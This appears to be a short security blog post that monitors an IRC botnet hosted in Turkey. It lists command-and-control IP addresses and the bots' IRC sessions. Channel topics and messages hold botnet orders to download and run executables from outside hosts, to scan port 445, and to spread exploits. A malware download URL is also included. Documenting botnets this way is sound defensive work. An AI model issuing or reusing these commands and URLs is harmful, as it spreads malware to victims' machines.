www.facebookvideocentral.com(irc botnet hosted in Turkey Radore Hosting Telekomunikasyon Hizmetleri San. Ve Tic. Ltd. Sti)

Resolved : [www.facebookvideocentral.com] To [46.45.164.229]

Remote Host Port Number
46.45.164.229 80

NICK 0USAicqigqz
JOIN #unk2 ….
USER yztwfqz * 0 :yztwfqz
MODE 0USAicqigqz -ix

Now talking in #unk2
Topic On: [ #unk2 ] [ ]
Topic By: [ j ]

Now talking in #unk3
Topic On: [ #unk3 ] [ .down http://46.45.164.228/t4.exe c:48o9o8k8s3i8.exe.exe 1 ]
Topic By: [ j ]

hosting infos:
http://whois.domaintools.com/46.45.164.229

UPDATE:
Remote Host Port Number
213.202.225.40 80
213.202.225.48 80
74.206.242.164 80
46.45.164.166 81 IRCD here

NICK [N00_USA_XP_5300900]
JOIN #a
MODE [00_USA_XP_9688665] -ix
USER SP2-749 * 0 :COMPUTERNAME
PRIVMSG #as :HTTP SET http://46.45.164.163/aa.exe
PRIVMSG #a :scan; Sequential Port Scan started on 174.133.89.0:445 with a delay of 5 seconds for 0 minutes using 15 threads.
PRIVMSG #a :scan; Random Port Scan started on 174.133.x.x:445 with a delay of 5 seconds for 0 minutes using 15 threads.
PRIVMSG #a :scan; Sequential Port Scan started on 192.168.88.0:445 with a delay of 5 seconds for 0 minutes using 5 threads.
PRIVMSG #a :scan; Random Port Scan started on 174.x.x.x:445 with a delay of 5 seconds for 0 minutes using 10 threads.
NICK [00_USA_XP_9688665]
USER SP2-227 * 0 :COMPUTERNAME

Now talking in #a
Topic On: [ #a ] [ .asc -S -s |.http http://46.45.164.163/aa.exe |.asc exp_all 15 5 0 -c -e |.asc exp_all 15 5 0 -b -r -e |.asc exp_all 5 5 0 -c |.asc exp_all 10 5 0 -a -r -e ]
Topic By: [ j ]

UPDATE:

NICK [N00_USA_XP_1033724]
JOIN #m
MODE [00_USA_XP_3392793] -ix
PRIVMSG #ls :HTTP SET http://46.45.164.162/mm.exe
PRIVMSG #m :scan; Sequential Port Scan started on 174.133.89.0:445 with a delay of 5 seconds for 0 minutes using 15 threads.
PRIVMSG #m :scan; Random Port Scan started on 174.133.x.x:445 with a delay of 5 seconds for 0 minutes using 15 threads.
USER SP2-746 * 0 :COMPUTERNAME
PRIVMSG #m :scan; Sequential Port Scan started on 192.168.227.0:445 with a delay of 5 seconds for 0 minutes using 15 threads.
PRIVMSG #m :scan; Random Port Scan started on 174.x.x.x:445 with a delay of 5 seconds for 0 minutes using 10 threads.
PRIVMSG #m :scan; Sequential Port Scan started on 174.133.89.0:445 with a delay of 5 seconds for 0 minutes using 10 threads.
NICK [00_USA_XP_3392793]
USER SP2-560 * 0 :COMPUTERNAME

exe file:
http://35224b99.yyv.co

Categories: Uncategorized